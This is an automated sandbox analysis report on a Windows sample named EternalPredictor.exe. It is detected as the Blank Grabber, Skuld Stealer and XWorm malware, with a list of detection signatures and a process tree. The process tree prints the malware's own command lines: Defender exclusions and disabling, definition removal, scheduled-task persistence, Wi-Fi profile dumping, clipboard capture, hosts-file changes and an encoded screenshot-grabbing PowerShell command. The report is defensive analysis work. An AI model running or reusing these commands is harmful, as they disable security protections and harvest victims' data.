Edit tour

Windows Analysis Report
EternalPredictor.exe

Overview

General Information

Sample name:	EternalPredictor.exe
Analysis ID:	1557106
MD5:	7d207c243b33d6f3d78acadffd95ae0e
SHA1:	a3ad8109c208b12d35359e78f4ebc23ed79ccf24
SHA256:	dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30
Tags:	exeuser-aachum
Infos:

Detection

Blank Grabber, Skuld Stealer, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

UAC bypass detected (Fodhelper)

Yara detected Blank Grabber

Yara detected Skuld Stealer

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Creates multiple autostart registry keys

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

Protects its processes via BreakOnTermination flag

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Removes signatures from Windows Defender

Sample uses string decryption to hide its real strings

Sigma detected: Bypass UAC via Fodhelper.exe

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes or reads registry keys via WMI

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Uncommon Svchost Parent Process

Stores files to the Windows start menu directory

Stores large binary data to the registry

Too many similar processes found

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

EternalPredictor.exe (PID: 2852 cmdline: "C:\Users\user\Desktop\EternalPredictor.exe" MD5: 7D207C243B33D6F3D78ACADFFD95AE0E)

eternal.exe (PID: 5604 cmdline: "C:\Users\user\AppData\Roaming\eternal.exe" MD5: 7439CC991A9A756C41153B8E9121BAAB)

schtasks.exe (PID: 4424 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 4648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

skuld.exe (PID: 3872 cmdline: "C:\Users\user\AppData\Roaming\skuld.exe" MD5: DBBD2127D1030E4C9548FDF7DE9983A7)

conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6876 cmdline: attrib +h +s C:\Users\user\AppData\Roaming\skuld.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

attrib.exe (PID: 6088 cmdline: attrib +h +s C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

WMIC.exe (PID: 1816 cmdline: wmic csproduct get UUID MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

program.exe (PID: 4464 cmdline: "C:\Users\user\AppData\Roaming\program.exe" MD5: 3E6865657B29FAEA3A355C710F0AAD45)

program.exe (PID: 2360 cmdline: "C:\Users\user\AppData\Roaming\program.exe" MD5: 3E6865657B29FAEA3A355C710F0AAD45)

cmd.exe (PID: 4920 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5520 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4940 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2212 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4004 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6088 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7184 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7320 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7240 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7400 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7444 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7500 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7544 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7908 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7584 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7968 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7592 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7952 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8000 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7672 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7976 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7960 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 7684 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7984 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7448 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 2736 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2A5B.tmp" "c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

consent.exe (PID: 7816 cmdline: consent.exe 6092 324 0000019985E22B80 MD5: DD5032EF160209E470E2612A8A3D5F59)

svchost.exe (PID: 6092 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 7912 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5032 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8100 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 5496 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 8136 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7480 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 7816 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7428 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 3828 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4568 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

